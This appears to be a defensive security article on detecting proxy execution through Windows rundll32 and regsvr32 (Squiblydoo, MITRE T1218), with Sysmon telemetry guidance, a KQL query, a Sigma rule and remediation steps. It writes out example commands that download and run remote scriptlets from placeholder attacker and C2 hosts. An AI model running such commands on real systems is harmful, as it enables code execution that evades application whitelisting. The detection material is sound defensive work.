Rundll32 and Regsvr32 Detection: Hunting Proxy DLL Execution and Squiblydoo

Rundll32.exe and regsvr32.exe are legitimate Microsoft Windows system utilities. Rundll32 loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs) by calling exported functions, while regsvr32 registers and unregisters OLE controls in the Windows Registry. Threat actors abuse both binaries to evade application whitelisting solutions, execute arbitrary code from non-standard locations, and fetch remote scripts without triggering typical executable file alerts.

Because both utilities reside in System32 and bear valid Microsoft digital signatures, defenders must focus on command-line structure, DLL paths, and network connections rather than the binary name alone.

The Squiblydoo technique with regsvr32

The Squiblydoo attack vector uses regsvr32 to execute remote COM Scriptlet (.sct) files containing JScript or VBScript. The syntax combines specific parameters:

regsvr32.exe /s /n /u /i:https://attacker.example.com/payload.sct scrobj.dll

Each parameter serves a defined role:

• /s: Silent mode; suppresses error and success dialog boxes.
• /n: Specifies that DllRegisterServer will not be called.
• /u: Unregisters the server, invoking DllUnregisterServer.
• /i: Passes an optional string parameter (the target URL or scriptlet path) to DllInstall.
• scrobj.dll: Microsoft Script Component Runtime; parses and executes the scriptlet content referenced by the /i parameter.

When executed, regsvr32 downloads the remote XML scriptlet, uses scrobj.dll to parse the content, and executes the script inside the regsvr32 process memory space. No executable is written to the file system.

Rundll32 execution vectors: Ordinals and fileless staging

Rundll32 accepts a DLL path followed by an exported function name or ordinal number:

rundll32.exe C:\Users\Public\test.dll,#1

Or via comma syntax: `rundll32.exe test.dll,DllMain`. Attackers also exploit rundll32 to execute script code directly using protocol handlers registered in the system:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://c2.example.com/payload.sct");

This command leverages MSHTML to instantiate a script host directly from rundll32, creating a process tree where rundll32 initiates outbound network connections.

Telemetry analysis in process and image load events

Defenders should correlate two distinct telemetry sources:

• Process Creation (Event ID 4688 / Sysmon Event ID 1): Flags regsvr32 with `/i:` parameters pointing to URLs or user-writable paths, or rundll32 commands referencing DLLs in AppData, Temp, or Public folders.
• Image Loads (Sysmon Event ID 7): Tracks modules loaded into the process. When regsvr32 loads `scrobj.dll` in combination with an outbound network connection (Sysmon Event ID 3), it represents a high-confidence Squiblydoo indicator.

KQL detection query for Sentinel and Defender

This KQL query flags both regsvr32 scriptlet abuse and rundll32 loading DLLs from suspicious user paths:

DeviceProcessEvents
| where (FileName =~ "regsvr32.exe" and ProcessCommandLine has_any ("/i:http://", "/i:https://", "scrobj.dll"))
or (FileName =~ "rundll32.exe" and ProcessCommandLine has_any ("javascript:", "vbscript:", ".sct", "#1")
and ProcessCommandLine has_any ("\Users\", "\AppData\", "\Temp\", "\Public\"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName

Sigma detection rule

This Sigma rule provides cross-SIEM coverage for proxy execution via regsvr32:

title: Regsvr32 Squiblydoo Scriptlet Execution
status: stable
logsource:
category: process_creation
product: windows
detection:
selection_binary:
- Image|endswith: '\regsvr32.exe'
- OriginalFileName: 'REGSVR32.EXE'
selection_scrobj:
CommandLine|contains:
- 'scrobj.dll'
- '/i:http'
- '/i:https'
condition: selection_binary and selection_scrobj

Remediation and attack surface reduction

Enable Microsoft Defender Attack Surface Reduction (ASR) rules, specifically "Block execution of potentially obfuscated scripts" and "Block Office applications from creating child processes". Restrict DLL loading from untrusted directories via AppLocker DLL enforcement rules.

Review individual profiles for rundll32 and regsvr32, check related techniques under MITRE ATT&CK T1218, and access multi-platform rules in our Sigma rule catalog. Validate command lines instantly with the Command Analyzer.

For detailed technique references, consult MITRE ATT&CK T1218.010 (Regsvr32) and MITRE ATT&CK T1218.011 (Rundll32).